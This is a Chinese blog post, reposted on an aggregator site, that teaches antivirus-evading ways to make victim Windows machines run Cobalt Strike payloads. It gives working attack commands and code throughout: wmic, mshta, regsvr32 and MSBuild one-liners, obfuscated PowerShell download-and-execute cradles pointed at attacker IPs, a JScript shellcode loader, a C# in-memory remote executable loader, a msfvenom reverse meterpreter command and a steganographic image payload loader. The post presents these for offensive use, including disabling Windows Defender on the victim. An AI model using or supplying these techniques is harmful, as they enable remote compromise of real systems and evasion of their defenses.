栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > .Net

CS免杀上线方式

.Net 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

CS免杀上线方式

写在前面
  • 博客主页:Scorpio_m7
  • 欢迎关注点赞收藏⭐️留言
  • 本文由 Scorpio_m7原创,CSDN首发!
  • 首发时间:2022年1月28日
  • ✉️坚持和努力一定能换来诗与远方!
  • 作者水平很有限,如果发现错误,请留言轰炸哦!万分感谢感谢感谢!

文章目录
  • 写在前面
  • Wmic
  • mshta
  • MSBUILD
  • regsvr32
  • POWSHELL
  • RGB隐写上线

Wmic

wmic是一款Microsoft工具,它提供一个wmi命令行界面,用于本地和远程计算机的各种管理功能,以及wmic查询,例如系统设置、停止进程和本地或远程运行脚本。因此,它可以调用XSL脚本来执行。可以通过xsl脚本来执行命令,脚本一般用jscript编写。先编写一个xsl脚本,然后放到VPS上,受害机执行下面命令会远程下载并执行xsl的内容。

C:UsersDesktop>wmic os get /format:"http://172.21.66.218:8080/a.xsl"
0

通过安装AMSI_bypass.cna重启cs后attack->AMSI bypass Web Delivery(s)生成a.xsl,生成的代码大致逻辑如下




var binary = "rundll32.exe";
var code = "XXX";
function setversion() {
var shell = new ActiveXObject('WScript.Shell');
ver = 'v4.0.30319';
try {
shell.RegRead('HKLM\SOFTWARE\Microsoft\.NETFramework\v4.0.30319\');
} catch(e) {
ver = 'v2.0.50727';
}
shell.Environment('Process')('COMPLUS_Version') = ver;
}
function debug(s) {}
function base64ToStream(b) {
var enc = new ActiveXObject("System.Text.ASCIIEncoding");
var length = enc.GetByteCount_2(b);
var ba = enc.GetBytes_4(b);
var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
ba = transform.TransformFinalBlock(ba, 0, length);
var ms = new ActiveXObject("System.IO.MemoryStream");
ms.Write(ba, 0, (length / 4) * 3);
ms.Position = 0;
return ms;
}
function shellcode() {
var serialized_obj = "XXX";
var entry_class = 'cactusTorch';
try {
setversion();
var stm = base64ToStream(serialized_obj);
var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
var al = new ActiveXObject('System.Collections.ArrayList');
var n = fmt.SurrogateSelector;
var d = fmt.Deserialize_2(stm);
al.Add(n);
var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
o.flame(binary,code);
} catch (e) {
debug(e.message);
}
return 0;
}





mshta

mshta.exe是微软Windows操作系统相关程序,英文全称Microsoft HTML Application,可翻译为微软超文本标记语言应用,用于执行.HTA文件。可以使用Microsoft MSHTA.exe工具解析JavaScript或VBScript的HTML文件。

编写一个脚本,加载上面wmic讲的的a.xsl,为了没那么明显,后缀名改为png,mshta同样会把他当成hta文件解释运行。脚本可以通过AMSI_bypass.cna生成a.xsl时勾选use hta one liner








后面就跟wmic一样上线。

C:UsersDesktop>mshta http://172.19.105.41:8080/a.png
MSBUILD

MSBuild是Microsoft Build Engine的缩写,代表Microsoft和Visual Studio的新的生成平台。MSBuild可在未安装Visual Studio的环境中编译.net的工程文件。MSBuild可编译特定格式的xml文件。windows下的msbuild命令可以执行内容为特定格式的文件。在.NET Framework 4.0中支持了一项新功能”Inline Tasks”,被包含在元素UsingTask中,可用来在xml文件中执行c#代码。参考:Use MSBuild To Do More

Xml的脚本,需要把executes shellcode.xml的shellcode改成cs的c#的payload,并且修改byte长度。


  
  
  
   
  
  
    
  
  
    
      
      
      
    
  

使用msbuild命令必须在指定的文件夹下,版本必须得是4.0。关闭Windows Defender运行32位MSBuild命令

C:WindowsMicrosoft.NETFrameworkv4.0.30319>MSBuild "C:UsersDesktopexecutes shellcode.xml"
Microsoft(R) 生成引擎版本 4.7.2046.0
[Microsoft .NET Framework 版本 4.0.30319.42000]
版权所有 (C) Microsoft Corporation。保留所有权利。

生成启动时间为 2022/1/24 22:42:43。
regsvr32

Regsvr32命令用于注册COM组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。WinXP及以上系统的regsvr32.exe在windowssystem32文件夹下;2000系统的regsvr32.exe在winntsystem32文件夹下。

  • /u 取消注册
  • /s 指定 regsvr32 安静运行,在成功注册/反注册DLL文件的前提下不显示结果提示框。
  • /n 指定不调用 DllRegisterServer。此选项必须与 /i 共同使用。
  • /i:cmdline 调用 DllInstall 将它传递到可选的 [cmdline]。
C:Users>regsvr32 /u /n /s /i:http://192.168.211.1/a.png scrobj.dll

后面的dll文件名不能更改。这个文件可以是任意后缀名,文件内容格式得是xml格式的:







POWSHELL

本地执行powershell

powershell.exe -ExecutionPolicy Bypass -file rgb.ps1

远程加载脚本并进行参数的混淆。

powershell.exe -nop -w hidden -c "$c1='IEX(New-Object Net.WebClient).123'.Replace('123','Downlo');$c2='adString(''httaaa.101.120:80/a'')'.Replace('aaa','p://172.19');IEX ($c1+$c2)"

powershell是一个exe程序,可以执行自己的命令或者powershell脚本。其实powershell的本质就是解释器,类似于python。python解释器通过解释了python脚本来调用操作系统给予的各种底层函数;powershell通过解释powershell脚本,来调用System.Management.Automation.dll。

System.Management.Automation是.NET 框架下的一个assembly类。而c#语言可以将所谓的c#“脚本”解释后来调用.NET框架下所有的assembly。因此我们可以用c#实现powershell的功能。这在当powershell被某些策略禁用的时候十分好用。

assembly类可以加载byte[]类型的数据到内存中并当作一个assembly文件去执行。assembly文件就是c#写的dll文件与exe文件。然而还有函数可以将远程的exe文件下载到本地并用byte[]格式去保存。

这两个方式结合后就可以实现下载远程c#文件到内存中直接执行,可以绕过绝大多数杀软。

using System;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
using System;
using System.IO;
using System.Net;
using System.Linq;
using System.Reflection;

namespace demo1{
    class Program{
        static void Main(string[] args){
            string fileDownloadurl = null;
            string filedownloadtype = null;
            byte[] filebuffer = null;
            try{
                fileDownloadurl = args[1];
                filedownloadtype = args[0];
            }
            catch{
                Console.WriteLine("n加载远程exe文件到内存执行:sflcsharp.exe -b exe文件的url");
                Console.WriteLine("n加载远程base64密文文件到内存执行:为sflcsharp.exe -b64 b64文件的url");
                Environment.Exit(0);
            }
            if (filedownloadtype == "-b"){
                filebuffer = Downloadbinarypefilebyhttp(fileDownloadurl);
            }
            if (filedownloadtype == "-b64"){
                filebuffer = downloadbase64(fileDownloadurl);
            }
            if (filebuffer != null){
                Console.WriteLine("正在将下载下来的程序加载到当前用户的内存中");
                Assembly assemblyinstance = Assembly.Load(filebuffer);  //将下载下来的程序加载到当前用户的内存中
                Console.WriteLine("正在寻找程序入口点并执行程序");
                assemblyinstance.EntryPoint.Invoke(null,new object[] { null}); //找到程序的入口点并执行程序
                Console.WriteLine("n程序执行完毕");
            }
        }
        public static byte[] Downloadbinarypefilebyhttp(string url){
            Console.WriteLine("n创建WebClient类用来下载PE文件");
            WebClient downloadwebclient = new WebClient();  //这个类可以从指定url上下载或者上传数据
            Console.WriteLine("n下载文件后自动保存为byte[]格式n");
            byte[] test = downloadwebclient.DownloadData(url);
            return test;
        }
        public static byte[] downloadbase64(string url){
            Console.WriteLine("n创建WebClient类用来下载base64密文文件,下载到的数据按照字符串格式保存在内存");
            WebClient downloadwebclient = new WebClient();  //这个类可以从指定url上下载或者上传数据
            string b64 = downloadwebclient.DownloadString(url);
            Console.WriteLine("将base64字符串转换为byte[]类型的数据");
            byte[] test = Convert.FromBase64String(b64);
            return test;
        }
    }
}

通过工具下载远程文件到内存中直接执行

C:UsersrootDesktop>sflcsharp.exe -b http://192.168.211.1/artifact.exe
RGB隐写上线

使用嵌入方法,每个像素中2个颜色值的最低有效4位用于保存有效负载。

  1. 使用cs生成payload.ps1或者适用msf生成

    root@kali:~/# msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.253.8 LPORT=5555 -f psh-reflection > payload.ps1
    
  2. 受害机器上设置执行策略

    PS C:UsersrootDesktopInvoke-PSImage-master> Set-ExecutionPolicy Unrestricted -Scope CurrentUser
    
  3. 导入Invoke-PSImage.ps1文件

    PS C:UsersrootDesktopInvoke-PSImage-master> Import-Module .Invoke-PSImage.ps1
    
  4. 生成 shellcode 的图片和上线命令

    PS C:UsersrootDesktopInvoke-PSImage-master> Invoke-PSImage -Script .payload.ps1 -Out .evil.png -Image .1.png -Web
    sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://example.com/evil.png"));$o=a Byte[] 3780;(0..14)|%{foreach($x in(0..251)){$p=$g.GetPixel($x,$_);$o[$_*252+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3538]))
    
  5. 把这个图片上传到服务器,并修改代码的ip执行就可以上线。

    PS C:UsersrootDesktopInvoke-PSImage-master> sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://192.168.211.1/evil.png"));$o=a Byte[] 3780;(0..14)|%{foreach($x in(0..251)){$p=$g.GetPixel($x,$_);$o[$_*252+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3538]))
    
转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/1022908.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号